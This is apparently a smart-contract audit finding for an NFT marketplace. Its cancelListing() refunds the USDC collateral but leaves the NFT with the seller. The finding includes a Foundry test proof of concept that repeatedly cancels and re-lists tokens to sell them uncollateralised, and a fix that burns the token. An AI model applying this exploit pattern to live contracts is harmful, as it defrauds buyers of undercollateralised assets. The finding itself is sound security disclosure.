Seller Can Reclaim Collateral Without Losing The NFT, Then Re-List For Free
Description
The intended flow is that a user mints an NFT by locking lockAmount of USDC as collateral, and that collateral should remain economically tied to the NFT until the position is closed in a way that preserves the protocol's accounting assumptions.
In cancelListing(), the seller receives the full locked collateral back, but the NFT remains owned by the seller and can immediately be listed again. This breaks the mint-collateral invariant and lets an attacker recycle the same capital to accumulate and list multiple NFTs while paying only gas after the first mint cycle. The issue appears because the contract refunds collateral and zeroes the collateral record, but does not burn the NFT or otherwise invalidate its continued existence.
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}
Risk
Likelihood:
-
Any whitelisted minter can execute the mint -> list -> cancel -> re-list pattern using standard protocol functionality.
-
The attack is cheap to automate, since once the first collateral amount is recovered the attacker only spends gas to keep creating additional active listings.
Impact:
-
An attacker can accumulate multiple (if not all) NFTs and active listings without maintaining the intended USDC collateral backing for each minted NFT.
-
Buyers can purchase NFTs that are no longer collateralized as designed, while the attacker can still collect sale proceeds, breaking the protocol's economic model.
Proof of Concept
The following PoC can be put in test/NFTDealersTest.t.sol:
function testOwnMultiNFTWithoutLargeFund() public revealed whitelisted {
uint256 userWithCash_startingBalance = usdc.balanceOf(userWithCash);
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(1, 1000e6);
nftDealers.cancelListing(1);
nftDealers.list(1, 1000e6);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(2, 1000e6);
nftDealers.cancelListing(2);
nftDealers.list(2, 1000e6);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(3, 1000e6);
nftDealers.cancelListing(3);
nftDealers.list(3, 1000e6);
vm.stopPrank();
uint256 totalActiveListing = nftDealers.totalActiveListings();
assertEq(totalActiveListing, 3);
uint256 userWithCash_endingBalance = usdc.balanceOf(userWithCash);
assertEq(userWithCash_endingBalance, userWithCash_startingBalance);
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 3000e6);
nftDealers.buy(1);
nftDealers.buy(2);
nftDealers.buy(3);
vm.stopPrank();
vm.startPrank(userWithCash);
nftDealers.collectUsdcFromSelling(1);
nftDealers.collectUsdcFromSelling(2);
nftDealers.collectUsdcFromSelling(3);
vm.stopPrank();
uint256 userWithCash_endingBalance2 = usdc.balanceOf(userWithCash);
assertGt(userWithCash_endingBalance2, userWithCash_endingBalance);
}
Recommended Mitigation
When collateral is refunded during cancelListing(), the NFT should be burned so the user cannot continue holding and re-listing an uncollateralized token.
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
+ _burn(listing.tokenId);
emit NFT_Dealers_ListingCanceled(_listingId);
}